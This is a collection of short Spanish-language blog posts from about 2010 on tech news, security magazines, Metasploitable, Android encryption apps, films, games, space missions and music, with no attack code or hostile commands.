En el vídeo que a continuación os dejo podemos ver un mini reportaje (CBSNews) escalofriante. En el mismo nos muestran como se desechan esas fotocopiadoras que nos permiten además mandar correos electrónicos o faxes, sin ningún tipo de precaución sobre a lo que seguridad de los datos se refiere. Seguro que si tu empresa es de tamaño medio tienes algunas de éstas.

Dichos aparatos, a la hora de escanear un documento, ya se para imprimirlo (fotocopia de toda la vida), mandarlo vía fax o correo electrónico, almacena dicho documento/s en una memoria interna que no es ni más ni menos que un disco duro normal y corriente.

Seguridad entre terminales Android

Os voy a dejar un par de aplicaciones para Android para cifrar la comunicación telefónica. así como  los mensajes SMS.

Todo lo que necesitas es tener en tu terminal el software necesario, así como en el terminal al que llama o manda el mensaje.

RedPhone, es la aplicación para cifrar la comunicación telefónica. Ahora se encuentra en su versión 0.1, así que supongo dicho software tendrá muchos errores.

Lifehacker Pack 2010, recopilación de utilidades …

Windows

Nuestra querida Lifehacker ha recopilado en este pack llamado Lifehacker Pack 2010 las que considera las mejores aplicaciones Windows que deberíamos tener. Lo mejor es que han creado un autoinstalador para este pack. Simplemente pulsa en este enlace y selecciona las aplicaciones que quieres instalar. Luego pulsa el botón "Get Installer" y ya está.

Las aplicaciones están divididas en "Productividad", "Internet/Comunicación", "Utilidades", "Música, imágenes y video" y "Seguridad".

¿Te gusta viajar? Trabber Respuestas te ayuda

Continuamente hay nuevas preguntas. Es muy rápida.

Si tienes cualquier duda sobre tu futuro viaje pregúntala o resuélvela en la comunidad Trabber Respuestas: ¿Cómo alquilar un 4×4 con chófer en Mongolia? ¿Qué documentación es necesaria para viajar con un bebé? ¿Qué época del año es mejor para viajar a India? ¿Compras en Nueva York? ¿Beijing o Xi'an? ¿Restaurantes en Estambul?

No es necesario registrarse para ver los hilos además está enlazado a algunas redes sociales como facebook o twitter y con esas mismas cuentas se puede acceder.

Número de Junio de la magnífica Hakin9

Pues tal y como dice el título, ya te puedes descargar de forma totalmente gratuita el número de Junio de Hakin9. Recuerda que esta revista antes era de pago, pero decidieron de ofrecerla gratis. De hecho, este es el segundo número desde que ya no es de pago.

Estos son algunos de artículos que podréis encontrar dentro:

• Emerging Threats Is DDOS Still a Threat?
• Expert Says… Don’t let the zombies take you down!
• Pulling Kernel Forensic with Python
• Jailbreaking and Penetrating with the Iphone 3G & 3GS
• Flash Memory Forensic Tools - part two
• Securing Public Services Using Tariq
• Beginner’s Guide to Cybercrime – Understanding Attack Methodologies and a More Proactive Approach to Defense
• More Secure PHP Server Side Source Encryption

Web oficial

Lista de claves por defecto

Este es un recurso que nos puede venir muy bien cuando nos encontramos delante de un dispositivo (router, switch, etc) y no sabemos la clave de acceso al mismo. Con un poco de suerte la clave de acceso es la que viene por defecto y si tenemos que llegar al punto de resetear el dispositivo a su configuración de fábrica, necesitaremos la clave de acceso al mismo.

Nota: no te puedes ni imaginar cuanta gente, incluso empresas, dejan las claves de acceso por defecto en todo tipo de sistemas.

Película como fondo de escritorio

No sé cómo afectará al rendimiento del sistema, supongo que como siempre dependerá del hardware que tengas.

Este truco visto en lifehacker, nos permite poner una película o vídeo como fondo de escritorio usando al gran reproductor multimedia VLC.

Los pasos son muy  sencillos. Sólo tienes que cambiar la configuración de salida de vídeo a “DirectX Video Output” y luego seleccionar “DirectX Wallpaper” en el menú de vídeo.

III Curso de Verano de Seguridad Informática con …

NOP y yo ya estamos registrados, si estás en Valencia y te interesa la seguridad informática, no te pierdas este fantástico curso de verano.

Echa un vistazo al calendario para los diferentes días:

6 de julio

7 de julio

8 de julio

Web oficial.

Más información en la Web de Chema Alonso.

Luego nos tomaremos unas cañas por los alrededores ... ;)

El nuevo intento por taponar el vertido de crudo …

El nuevo intento por taponar la fuga de petróleo provocado por un accidente (tipo blowout) ha fracasado.

La imagen muestra una captura de la mancha de crudo cerca de la costa de Louisiana.

Estoy de acuerdo en que como el desastre ecológico no se produce "cerca" de nuestras fronteras, a la gente le importa muy poquito. Para no ser injustos, más bien diré que es a los medios de comunicación les interesa muy poquito (no seré yo quien diga que el lobby de las petroleras esté dictando las noticias, o sí). Vamos que se tiran más rato hablando de futbol en las noticias...

Video con lo mejor de la Feria Maker 2010

Video con lo mejor de la Maker Faire 2010 organizada por la fantástica revista Make.

Domingo ... Jon Hopkins y a despertarnos

Te sonará a ColdPlay, la introducción de una de sus canciones fue una colaboración con Jon Hopkins y esta fantástica "Light Through The Veins".

Otra canción para el domingo ...

Antiguo Fisheye de Nikkor con 220 grados

ATENCIÓN A SU TAMAÑO CON REFERENCIA A LA CÁMARA

Para los que lo querían ver todo allá por 1972 Nikkor fabricaba para Nikon este ojo de pez de F2.8, 6mm de distancia focal, un ángulo de visualización de 220º  (+40º VÉ POR DETRÁS DE LA CÁMARA :-) ) y 5,2 kilos de peso.

En principio estaba pensada para una labor de vigilancia dentro del sector de la industria y que con 180º se quedaba corto: fotografías interiores de tuberías, calderas o conductos.

¿Preparando las vacaciones?

Ahora que se acerca el verano, es típico el tomarse un descanso y desconectar por completo. Eso sí, el que se lo pueda permitir, porque las cosas están mal, muy mal.

Para aquellos privilegiados que se irán de casa para descansar, les recomiendo que le echéis un vistazo a la siguiente guía, The Home Security Methology.

Es un documento escrito por la ISECOM (Instiute for Security and Open Technologies). Una organización Española sin ánimo de lucro afincada en Nueva York, EEUU.

El Final de Lost ...

Ojo SPOILERS, si no has visto aún el final, no leas nada de este artículo...

El mejor año para el cine de Ciencia Ficción: 1982

No hay duda, estos 365 días fueron gloriosos. Mientras aquí veíamos a nuestro querido Naranjito en los Mundiales de fútbol de 1982, también se estrenaron estas maravillas:

Blade Runner

Tron

E.T.

La Cosa

Star Trek II

Cristal Oscuro

Poltergeist

¿es o no es el mejor año para el cine de Ciencia Ficción? ;)

Qué tiempos aquellos (yo sólo me acuerdo de ir a ver E.T. al cine ese año, las demás seguro que fui a verlas más tarde).

Alta seguridad en los bancos

Esto es una pequeña anécdota que me ocurrió el otro día cuando estuve en el banco para hacer unas gestiones. Concretamente en el Banesto.

Estaba siendo atentido por una señora, cuando de repente se acerca otro empleado y a voces le pregunta a la  señora que me atendía: Fulanita, ¿Cuál es tu clave de acceso que tengo que consultar unos datos? A lo que fulanita le responde: maribel1

Desarrollo Web para el iPad, además hoy sale a la …

Foto: Web de Apple

Hoy sale a la venta el iPad de Apple en España. Muchos pensaban que no tendría demasiado éxito pero parece que sí, de hecho está arrasando. Pues si quieres animarte a preparar páginas y aplicaciones web para este iPad (y también iPhone) que pronto estará en muchos salones de casa, en Smashing Magazine nos ofrecen este magnífico tutorial para comenzar a sacarle partido a esta fantástica máquina.

El iPad y el Velcro

iPad + Velcro from Jesse Rosten on Vimeo.

Visto en LifeHacker.

Fantamas Pac-Man

Visto en NeatORama.

Hitler ha visto el ultimo capitulo de Lost!!!

Hay varias opiniones sobre el final de Lost. Esta es una de ellas. Cuidado si no has visto el ultimo capitulo, puede contener spoilers :-D.

The I.T. Crowd tendrá quinta temporada

Desde que anunciaron la 4ª temporada hasta que la van a emitir (~ julio) han pasado años y todos sabemos que los retrasos de esta serie son de los más grandes de la televisión, aun así seguiremos esperando como fans que somos. Su creador dijo anoche en Channel 4 que la saga continuará hacia una quinta aunque no dijo fechas… espero que la vean mis nietos. :-)

Froyo, Android 2.2

Froyo es el nombre en clave de la última versión del sistema operativo para móviles Android. En ésta, su versión 2.2, han añadido cosas muy interesantes como el Tethering. En la web de lifehacker han publicado un artículo dónde comentan las características más destacables de este release y que a continuación paso a enumerar las más interesantes desde mi punto de vista.

• Tethering en el sistema. Lo que nos permite poner el terminal en modo punto de acceso, de forma que conectándonos a través de la red inalámbrica o USB podemos usar la conectividad 3g del móvil para navegar por internet.
• Soporte de Flash.
• Mejor control sobre la cámara.
• Mejoras en el administrador de aplicaciones, gmail, etc.
• Mejoras en algunos controles del sistema.
• Incremento de la ejecución javascript en el navegador.
• Integración con Microsoft Exchange. Muy interesante para el mercado empresarial.
• Integración de cuentas de twitter, facebook… en los contactos.

Adiós Phoenix ...

Esta imágen tomada por la HiRISE instalada en la Mars Reconnaissance Orbiter muestra un daño severo sobre los paneles solares de la sonda provocados por el hielo. Parece que han desparecido totalmente.  Posiblemente, el peso del hielo de dióxido de carbono marciano haya terminado por romperlos.  Pulsa aquí para ver más fotos de algunas de las piezas de la Phoenix.

Ya no es posible la comunicación con la sonda ... hasta otra Phoenix.

Azureus Rising: Proof of Concept

Corto al más puro estilo manga. No sé si me gusta más el traje de Ironman o el de este.

Más info en azureusrising.com

ManageEngine Desktop Central, software gratuito …

Windows

Desktop Central automatiza tareas de gestión sobre equipos clientes en una red, como por ejemplo, instalar software, parches, service packs, políticas de seguridad,  estandarizar los escritorios aplicando configuraciones comunes como por ejemplo fondos de pantalla, accesos directos, impresoras, etc... Además te permite auditar todo el sistema de la red con inventarios completos tanto de software como de hardware, licencias, detectar programas prohibidos en la red, etc...

(IN) Secure Magazine, ya tienes el número 25 de …

Como siempre, nuestra revista favorita gratuita sobre seguridad informática. Ya tienes disponible para su descarga el número 25 aquí.

Este es el índice:

• The changing face of penetration testing: Evolve or die!
• Review: SmartSwipe
• Unusual SQL injection vulnerabilities and how to exploit them
• Take note of new data notification rules
• RSA Conference 2010 coverage
• Corporate monitoring: Addressing security, privacy, and temptation in the workplace
• Cloud computing and recovery, not just backup
• EJBCA: Make your own certificate authority
• Advanced attack detection using OSSIM
• y mucho más ...

La noche perdida ... en Cuatro, el último episodio …

Esta madrugada, a las 6:30 empieza el doble capítulo FINAL de Lost. Aunque arrancará la programación a las 2:50 con un programa especial y luego se emitirán los capítulos 12, 13, 14, 15 y el 16 (a las 5:45).

Así que esta mañana toca poner el despertador un poco antes, yo no me lo pierdo.

Cuatro: La noche perdida.

Start Trek en la recepción de Microsoft en Redmon

 

En las oficinas de Microsoft Studio D en Redmon (Washington) debe haber mucho fan de Star Trek ya que tienen esta escultura justo en la entrada. Y puede que tenga hasta algún significado, ya que el episodio en el que está basado es el llamado "Mirror, Mirror" de 1967 donde la tripulación encuentra su dobles malvados en un universo paralelo ...

Visto en Kuriositas.

Para mi gran amigo DuenD

Querido compañero, ahora empiezas una nueva etapa en tu vida, quiero desearte desde nuestro blog (el tuyo también), lo mejor. Eres una de las mejores personas que jamás he conocido, he aprendido mucho de tí tanto en lo humano cómo en lo técnico. Nunca olvidaré esas aventuras que pasamos juntos en Cádiz cuando Internet no era más que la nic.funet.fi ;) en esos temibles monitores de fósforo verde ... (ahora mi terminal linux tiene siempre ese color en honor a esos días gloriosos).

Hydrogenase: para disfrutar del viaje

No os confundáis, no es un edificio, es un medio de transporte 100% ecológico que ha sido ideado por el arquitecto belga Vincent Callebaut. Su otra mitad terrestre es una granja de biocombustible (hidrógeno) que sacan de las algas marinas. Está pensado para un determinado pasajero, el eco-turista, porque la idea es realizar ese viaje sin prisas, sin humos, viviendo unos días en él y contemplando los diferentes paisajes, algo así como una casa rural con alas.

Cómo instalar un disco de Estado Sólido (SSD) en …

Mac

La diferencia de comprar un MacBook con un disco duro SSD es de aproximadamente 300€ sólo para un SSD de 128GB. Si tienes ya un MacBook y consigues un disco SSD a buen precio, en esta guía de LifeHacker te explican paso a paso cómo instalarlo en un modelo de MacBook ó MacBook Pro.

Pegatinas para decorar tu iPad

Puedes comprarlas aquí, son exclusivas hechas por un artista independiente.

Visto en TheDailyWhat.

Desempolva tu metasploit

Metasploit, para aquellos que no conozcáis este extraordinario proyecto, en pocas palabras, es un repositorio de exploits listo para ser lanzados contra servicios vulnerables.

Claro, aquí nos encontramos con el problema de siempre. ¿Cómo probamos ciertos exploits contra un sistema que no disponemos?

Metasploit acaba de liberar un proyecto nuevo llamado, metasploitable. Éste es una imagen VMware 6.5 que contiene un sistema Ubuntu 8.04 con ciertos servicios vulnerables los cuales pueden ser explotados usando metasploit.

Google celebra el 30 aniversario de Pac-Man con un …

Sólo espera unos segundos hasta que el juego empieze …

Si ya no aparece en Google, busca en su página de logos.

Más info en JoyStiq.

Fantástico.

Opiniones bioéticas sobre la célula Frankenstein

Mycoplasma mycoides

El que haya estado atento hoy a las noticias sabrá que un grupo de científicos ha creado una célula completamente artificial por primera vez en la historia. En realidad es crear un genoma artificial y cambiarselo a una bacteria. Esta no solo vive (de ahí lo de Frankstein) sino que se reproduce. El coste total ha sido de unos 40 millones de dólares. Las ideas iniciales son las de crear bases de bacterias que absorvieran el CO2 de la atmósmera, que sobrevivieran en Marte  o como lucha nanotecnológica contra el cancer pero la preocupación se dispara al pensar en nuevas enfermedades y nuevas armas. Aquí os dejo un enlace de muy variadas opiniones al respecto. Los puntos de vista son infinitos.

Los 10 mejores Super Marios online y gratuitos

Ahora que se acerca el fin de semana, aquí os dejo una lista de los 10 mejores Super Marios a los que podrás jugar por internet de forma totalmente gratuita.

• Super Mario Bros. In Pipe Panic.
• Super Mario Mushroom Game.
• Hungry Mario.
• Super Mario Rampage.
• Super Mario Rush Arena.
• Mario Lost in Space.
• Super Mario World Hardcore.
• Pixel Ninja In Mario World.
• Mario Miner ( http://www.oyunlar1.com/online.php?flash=5251 ).
• New Super Mario World 3 ( http://www.oyunlar1.com/online.php?flash=4018 ).

Una lista perfecta para pasar el domingo por la mañana junto con la música que nos deje cybercaronte :-)

Crea tu propio CD de Ubuntu o Debian

Seguramente hayas visto varios tutoriales para llevar a cabo dicha tarea y el proceso de creación sin duda alguna no es para novatos o simples usuarios. Pero con la ayuda de Reconstructor este proceso está al alcance de cualquiera. Con esta aplicación sólo tienes que seguir varios pasos muy sencillos.

El primer paso es crear una cuenta con ellos, si no la tienes ya. Además de poder elegir entre Ubuntu o Debian, también te permite elegir la arquitectura: 32 ó 64 bits.

"El canon digital español es ilegal" según el …

...como si quieres colgar los cd's en el espantapájaros de tu huerto... (genial)

"Un sistema nacional que prevé la aplicación de un canon por copia privada a todos los equipos, aparatos y materiales de reproducción digital de forma indiscriminada (como ocurre en España) no es compatible" con la normativa comunitaria, afirma el dictamen.

Esto se recoge del juicio que enfrentan en Luxemburgo a SGAE y la empresa Padawan, que comercializa dispositivos de almacenamiento electrónico, entre otros CD-R, CD-RW, DVD-R y aparatos de MP3. La SGAE reclamó a Padawan el pago de una compensación a tanto alzado por copia privada por importe de 16.759,25 euros correspondiente a los dispositivos de almacenamiento comercializados por Padawan entre septiembre de 2002 y septiembre de 2004.

Juegos que que se convierten a Open Source …

 

Y por lo tanto tendremos su código fuente para estudiarlo y poder hacer otros juegos basados en ellos. En concreto son estos:

Aquaria

Gish

Lugaru HD

Penumbra Overture

Ya puedes conseguir el código fuente de Lugaru HD y de Penumbra Overture. El resto será publicado en breve. En este enlace puedes ver la situación de estos proyectos y cuántos están ya en Open Source.

Lugaru HD:

Penumbra Overture:

Fantástica iniciativa, esto lo han decidido después de una estupenda campaña de "paga lo que quieras" por un pack compuesto por estos 4 juegos más el fantástico World of Goo. Han conseguido recaudar 1.273.593$, de los cuales 392.947$ irán para la EFF y Child's Play Charity.

Historia de los ordenadores de la NSA, 1964

Documento desclasificado de la NSA en formato PDF de 1964 llamado "History of NSA General-Purpose Electronic Digital Computers".

Para los coleccionistas retro, todo un tesoro.

Puedes descargarlo desde aquí.

Visto en BoingBoing y Microsiervos.

Dingoo A320

Si te gustan los videojuegos y sobre todo si eres un nostalgico, no podras vivir sin ella. Se trata de la Dingoo A320 que es una mezcla entre videoconsola portatil y un reproductor multimedia.

Y volvemos a lo de siempre, y es que el fuerte de este cacharrito es su desarrollo abierto, lo cual como suele ser costumbre convierte cualquier aparato que puede parecer de los más común y poco llamativo en un pedazo de gadget indispensable para nuestro inventario.

La última oportunidad para escuchar a la Phoenix, …

Hasta el 21 de Mayo la Mars Odyssey estará escuchando  una vez más alguna señal que pueda proceder desde la ubicación de la sonda Phoenix. Hará unas 61 pasadas sobre la zona con la esperanza de oirla. Las otras 150 pasadas que ha realizado anteriormente no han tenido éxito.

La NASA ha decidido hacer este último esfuerzo porque ahora es el solisticio de verano y en cuando son mejores las condiciones climáticas, las cuales permitirían volver a conectar las fuentes de energía de la Phoenix.

Estas son las fotos más espectaculares del …

Y para muestra, la foto que encabeza este post. Realmente alucinante, visita este enlace donde hay muchas más fotos espectaculares.

Gracias a nuestro amigo Macpherson por el enlace.

Como usar la tarjeta MicroSIM del iPad en un …

Esto es más o menos lo contrario de la entrada que escribí el otro día. En este caso, sería usar la tarjeta MicroSIM del iPad en un iPhone, aunque aquí podríamos generalizar y decir cómo usar un tarjeta MicroSIM en un dispositivo que usa una SIM normal.

La idea es crear un soporte del tamaño de una SIM, dónde podamos emplazar la MicroSIM. Aunque en el post va más allá y también nos muestra los pasos a seguir para hacerla funcionar en el terminal.

9 juegos de aventuras online gratuitos

Allá por los 90s y parte de los 80s y antes de que Doom apareciera en escena, los juegos de aventuras fueron, yo diría, que la evolución de los juegos de arcade, donde la interacción jugador-máquina se hacía más palpable. Quizás por aquel entonces, el famoso Monkey Island fuera el más conocido. Para ser honestos, nunca tuve la paciencia suficiente de sentarme delante del ordenador tantas horas seguidas y terminar el juego... sin hacer trampas :-) Todavía recuerdo aquellas magníficas guías de las Lloret Free Byte, dónde te decían paso a paso lo que tenías que hacer :-)

Así que al ver este post, donde comentan los 9 mejores juegos de aventuras online y gratuitos, me trajo mucho y muy buenos recuerdos. Aquí os dejo la lista de los mismos, pero si queréis saber sobre ellos, pincha sobre el juego en sí, o visita el enlace original dónde hacen un pequeño resumen de cada uno.

Android, iPhone, Symbian, Windows Mobile... …

¿Quién quiere un iPhone o un terminal con Android o Symbian, Blackberry, Windows Mobile...? ¡Windows 3.11! Eso es lo último.

En el siguiente vídeo podemos ver un Nexus One (teléfono de Google) corriendo Windows 3.11 usando aDosBox.

aDosBox es una implementación de DosBox para Android. DosBox es un emulador x86 completo (sonido, gráficos, ratón, módem, etc) que hace posible la ejecución de juegos y otros programas basados en el DOS de Microsoft, MS-DOS.

La muñeca del paraguas rosa: premio al mejor corto …

El día 8 participé en un festival de cortos en Sevilla y salí ganando dos premios: mejor corto y mejor fotografía. El material que utilicé es una reflex Canon EOS 50D + sigma 18-200mm, un intervalómetro y un trípode. El conjunto es un "time-lapse" (8 f/s) sumado a un "tilt-shift" (efecto maqueta) pero hay que agregarle una palabra a todo eso y es la de "fail". El tilt-shift se puede conseguir facilmente con un objetivo descentrable como el 24mm f3.5 TS-E L II (~ 2500 €) pero como es caro para mi bolsillo he utilizado After Effects. El resultado de "tilt-shift-fail" es tan similar al original que es imposible saber cual es cual y con esos 2500€ te vas de vacaciones con la novia/o :-)  El único problema es que la postproducción te llevará más tiempo: unos 20 minutos para el montaje y 1 hora de cpu para el preproceso. Si alguien estuviera interesado puedo hacer un tutorial en After Effects.

Ronnie James Dio, 10 de julio de 1942 - 16 de mayo …

Ayer nos dejó Ronnie James Dio, cantante de Rainbow, Black Sabbath, Dio y Heaven and Hell entre otros.

Un cáncer de estómago diagnosticado en noviembre pudo con él, pero no se lleva consigo el valiosísimo legado del que ha sido unos de los cantantes más influyentes de toda la histora del heavy metal.

Tuve la suerte de poder verle en directo en varias ocasiones, y aún se me ponen los pelos de punta cuando recuerdo las ovaciones del público…

Los personajes femeninos de Disney, tipo cómic y …

Esta es una galería de imágenes de los personajes femeninos de Disney en formato cómic bastante sexy. El artista es J. Scott Campbell, si quieres ver más imágenes, pulsa en este enlace.

Visto en Geekologie.

Como convertir una tarjeta SIM en MicroSIM

Siguiendo los pasos que se muestran en este enlace, no parece nada difícil de hacer. En principio esto no parece tener casos muy prácticos, a menos que dispongas de una tarjeta SIM normal y corriente y llegue a tus manos un dispositivo que usa 3G, pero en un país diferente, como es el caso del enlace en el que baso esta noticia.

El individuo en sí, vive en Inglaterra y compró un iPad 3G, el cual tiene conexión 3G a través de AT&T, pero sólo en EEUU. La tarjeta SIM incorporada en el iPad es una MicroSIM.

40 herramientas que todo administrador de sistemas …

En este enlace podemos ver una recopilación de 40 herramientas que seguro que todo administrador de sistemas ha tenido que usar en algún momento. Así, echando un vistazo rápido al recopilatorio, todas parecen ser gratuitas y la mayoría multiplataforma, así que si administras sistemas Windows o Linux, te recomiendo que le eches un ojo al enlace.

Los 10 programas que Linux necesita

En MuyComputer hacen esta lista de los 10 programas que Linux necesitaría para que la adopción por parte de empresas y usuarios fuera mayor.

Resumiendo estos son los 10:

1. Autocad: Diseño arquitectónico
2. AVID Media Composer: edición de video
3. Sage Contaplus: Contabilidad
4. DreamWeaver: Diseño Web
5. Indesign/Quark: Edición de publicaciones
6. iTunes: Reproductor multimedia
7. Outlook: por la compatibilidad con Exchange, gestor de correo electrónico
8. Photoshop: Diseño fotográfico
9. World of Warcraft: el mejor juego online MMORPG
10. Más controladores

Y digo yo ¿no están la mayoría (excepto Autocad  y World Of Warcraft) ya desarrollados para Apple/Mac?. El sistema operativo de Mac y Linux comparten una misma base, Unix. Por lo tanto, técnicamente es "fácil" su migración a Linux, pero como siempre, habrá otro tipo de intereses por delante.

Broken Social Scene, "Athems for a seventeen year …

Uno de mis grupos favoritos para este otro domingo …

Web oficial y aquí MySpace.

Sierra Road

De izquierda a derecha personajes de: Leisure Suit Larry, Police Quest, Space Quest y King Quest.

Qué tiempos aquellos, si quieres recordarlos en este enlace puedes encontrar un emulador online con todos estos juegos.

Visto en TheDailyWhat.

La subasta de Lost (Perdidos)

Ya sabes que el día 23 de Mayo, Lost acaba. Y para celebrarlo ya se está preparando la subasta de algunos objetos de la serie.

Estos son algunos de ellos:

Boleto ganador de Hugo con los famosos números

 

Silla de ruedas de Locke

Y la lista completa aquí.

Visto en TheFireWire.

Máquinas expendedoras de oro

Se llaman "Gold To Go (c)" y son máquinas expendedoras como las de refrescos o chocolatinas, pero esta vez se vende oro en formato 1 gramo, 5 gramos, 10 gramos y 1 onza (aprox. 28 gramos). Por lo visto es coste es un 20% menor que comprándolo en un banco.

Las puedes encontrar en el aeropuerto de Frankfurt y también algunos hoteles de Abu Dabi.

Yo aún no le veo sentido a esto pero los fabricantes dicen que hay regiones (sobre todo en Arabia) donde es frecuente comerciar directamente con oro. Otra razón es regalar oro a una mujer, cito textualmente lo que dicen "Aún no hemos conocido una mujer que no le guste un regalo de oro" ...

Espectacular video del Eyjafjallajökull en …

Iceland, Eyjafjallajökull - May 1st and 2nd, 2010 from Sean Stiegemeier on Vimeo.

 Fantástico video usando la técnica timelapse con la música de Jónsi (ex-cantante de Sigur Rós), canción “Kolnidur”.

Visto en LaAldeaIrreductible.

Iron Sky, espectacular trailer

 

La trama de la historia es la siguiente, casi al final de la Segunda Guerra Mundial un oficial de la SS descubre una forma de usar  anti-gravedad en cohetes. Desde una base secreta construida en la Antártida, las primeras naves espaciales Nazis son lanzadas hacia la cara oculta de la Luna. Allí se construye una base para construir una flota de invasión para que vuelva a la Tierra cuando esté preparada.

El juego "Portal" gratuito, sólo hasta el 24 de …

Windows / Mac

Portal es un juegazo, así que ya estás tardando en descargarte este fantástico juego de Valve, aquí tienes el enlace:

Portal Is Free!

Un video donde se muestra su originalidad usando portales y jugando con la física  para superar los diferentes retos:

 Recuerda, grátis sólo hasta el 24 de Mayo.

Por cierto, en CyberHades también hablamos en su día sobre cómo conseguir Half Life 2: DeathMatch, también grátis.

Algunos consejos para usar de forma óptima un …

Un disco duro externo lo usamos para guardar todo tipo de información, pero la pregunta es ¿lo hacemos correctamente aprovechando de forma efectiva su funcionamiento y espacio?. Si lo usamos bien podemos aumentar la velocidad del ordenador y usar los ficheros almacenados de una forma más eficiente.

Estos son algunos ejemplos de optimización:

Mueve tus librerias: iTunes, Lightroom, Windows Media Player y otros programas multimedia están basados en librerías. Estos programas saben exactamente donde están tus ficheros y cómo acceder a ellos. Moviendo grandes librerías de música y video al disco extraible, tendrás más espacio en disco y todo funcionará exactamente igual.  Un ejemplo es iTunes, si sólo lo usas  para sincronizar las canciones funcionará mejor en un disco extraible.

Las señales más interesantes del SETI@home

Desde 1996, http://setiathome.berkeley.edu/ha recibido y procesado miles de señales. Pero seguro que te has preguntado ¿ha recibido algo anómalo o interesante?.

La respuesta es sí, aunque la mayoría eran averías, señales de la Tierra, etc. Pero no está mal echarle un vistazo.

En este enlace puedes ver una recopilación de las señales más interesantes recibidas.

Júpiter pierde una de sus bandas características

Las bandas, rayas o cinturones que rodéan Júpiter son conocidas desde hace muchos años. Pues ahora, parece que una de ellas ha desaparecido sin explicación aparente.

En concreto falta el llamado "cinturón ecuatorial sur". El origen de estas bandas también es un dilema.

Toda la información en NewScientist.

Las apariciones de Nmap en el cine

Sólo me había fijado en la aparición estelar de Nmap en la película The Matrix Reloaded, pero gracias a  Security By Default me ha sorprendido ver que han sido algunas más.

Entra en su enlace para saber cúales son esas otras películas ...

De paso, abajo tienes un link al manual de Nmap (aplicación obligatoria que debes conocer si usas Linux).

Nmap.org

Busca en CyberHades más sobre Nmap (aquí), hemos hablado mucho de él.

Un vistazo al nuevo OS 4 Beta

La revista Wired (que por cierto, cada vez es más complicado encontrarla en España) ha conseguido echar un vistazo al nuevo sistema operativo de Apple para su iPhone, el OS 4 Beta.  No está oficialmente anunciado pero ya podemos ver en este artículo algunas de sus nuevas características.

Y como no, ya podemos ver opciones del iPad integradas en el iPhone. Por ejemplo, una serie de nuevos widgets y una característica para compartir ficheros.  La esperada multitarea, carpetas, wallpaper y zoom para la cámara son otras de ellas.

Little Big Planet 2, anunciado

Uno de nuestros juegos favoritos, si tienes una PS3 y no lo tienes aún, ahora es el momento de conseguirlo por un buen precio, Little Big Planet.

Alucinante todo lo que lleva esta nueva entrega, no te pierdas el trailer hasta el final.

Los Cazadores de Mitos, cazados por Cthulhu (tira …

¿Qué ocurre cuando los Cazadores de Mitos se meten con los Mitos de Cthulhu?

Pulsa en la minatura de la viñeta para saberlo.

Visto en Unspeakable Vault.

Los 10 objetos más caros vendidos en subastas

En la revista TIME han hecho la siguiente lista de los 10 objetos más caros subastados:

1. La pintura más cara. El cuadro de Pablo Picasso "Desnudo, hojas verdes y busto". Precio ganador: 106,5 millones de dólares.
2. La ropa más cara: El vestido de Marilyn Monroe que llevaba cuando cantó cumpleaños feliz a John. F. Kennedy. Precio ganador: 1.267.500 dólares.
3. El manuscrito más caro: el códice de Leonardo Da Vinci. Precio ganador: 30.802.500 dólares.
4. El instrumento musical más caro: violín Guarneri del Gesù. Precio ganador: 3,9 millones de dólares.
5. El mechón de pelo más caro: de Elvis Presley. Precio ganador: 115.000 dólares.
6. La antigüedad más cara: estátua romana de la diosa Atermisa y un ciervo. Precio ganador: 28,6 millones de dólares.
7. El coche más caro: Ferrari 250 Testa Rossa. Precio ganador: 12,2 millones de dólares.
8. El mueble más caro: el gabinete Badminton. Precio ganador: 36 millones de dólares.
9. El diamante más caro: el diamante Wittelsdbach. Precio ganador: 23,4 millones de dólares.
10. El recuerdo deportivo más caro: una pelota de béisbol, el home run de Mark McGwire en los 70. Precio ganador: 3 millones de dólares.

Visto en TheFireWire.

RoboGames 2010, los mejores momentos

Espectacular recopilación de los mejores momentos de los RoboGames 2010 .

Visto en TheAwesomer.

Un clásico para este domingo, The Cars

You might think …

The Cars, mítico grupo de los 80 que me trae muchos recuerdos.

Fantásticos.

Just what i needed

Pastel Stop Motion

Food about you - Annecy festival 2010 from Alexandre DUBOSC on Vimeo.

Visto en The Fire Wire.

"Super 8", la película secreta de J.J. Abrams y …

No sabía que J.J. Abrams y Spielberg tenían un proyecto juntos... Pues sí, es la película Super 8 (que se estrenará en verano de 2011), cuyo trailer ahora es más difícil de encontrar (puedes ver un enlace al final de post donde podrás verlo).

La web oficial es bastante misteriosa, a ver si puedes descubrir algo, porque sólo se ven fotogramas borrosos de una película.

Hay dos cosas claras, tiene que ver con el Área 51 y algo se escapa al control de las Fuerzas Aéreas ...

El primer ordenador creado en el mundo de Dwarf …

Si no conoces Dwarf Fortress, mal hecho, es el juego tipo "roguelike" más difícil y conocido de Internet, y como buen friki-geek que eres, lo deberías conocer ;). Resumiendo, es un juego de construcción (en modo texto, ASCII extendido)  muy complicado, para crear civilizaciones subterráneas (creadas por enanos), luego te machacan con invasiones de goblins (y otros seres), lava y donde sobre todo debes de tener una buena gestión de los recursos de tu ciudad (agua, madera, etc.) . Incluso existen visualizadores en 3D de las construcciones. Hay que dedicarle mucho tiempo pero te aseguro que el juego es realmente espectacular, no necesita gráficos 3D para mostrarte un mundo dinámico y lleno de aventuras. Como estoy seguro que te vas a picar ;) , mira este enlace donde te explica cómo hacer tu primera fortaleza (este otro en castellano).

AMP WinOFF, planifica los reinicios y apagado de …

Windows

Aplicación portable gratuita que te permite planificar un apagado (cerrar sesión, suspender, hibernar, bloquear el equipo, ...) o reinicar. Incluso puedes hacer todas estas operaciones a otro equipo conectado en la red (no permite múltiples apagados).

Cuando programas un apagado, aparece una cuenta atrás en la barra de Windows y luego un mensaje te dará la opción de abortar la operación. La aplicación no se ejecuta como un servicio de Windows, lo que significa que el usuario que comenzó el programa no se debe de desconectar (ni cerrar sesión). Lo que si puedes hacer es bloquear el ordenador.

Coro virtual

El Proyecto Coro Virtual (The Virtual Choir Project), es un proyecto llevado a cabo por el compositor Eric Whitacre, dónde ha usado las voces de 185 personas a través de youtube. La pieza producida se titula: "Sleep".

Si te quieres unir al coro, sólo necesitas una webcam y un micro :-) ¡Impresionante!

Visto en slashdot.

Probado con éxito el sistema de escape en las …

LLamado Pad Abort-1 ha costado 220 millones de dólares pero por lo menos confirma que la tripulación del Orión tendrá posibilidades de sobrevivir en caso de un problema durante el despegue.

Más información en UniverseToday.

La Vanguardia publica online su hemeroteca desde …

¿Quieres saber que pasó en España y en el mundo cuando naciste? ¿Quieres ver qué se publicitaba en aquella época? ...

Desde 1881 hasta nuestros días puedes ver toda la hemeroteca de la Vanguardia en este enlace:

LaVanguardia, Hemeroteca.

(Gracias a Antonio por el enlace).

Cita con Rama, corto creado por aficionados

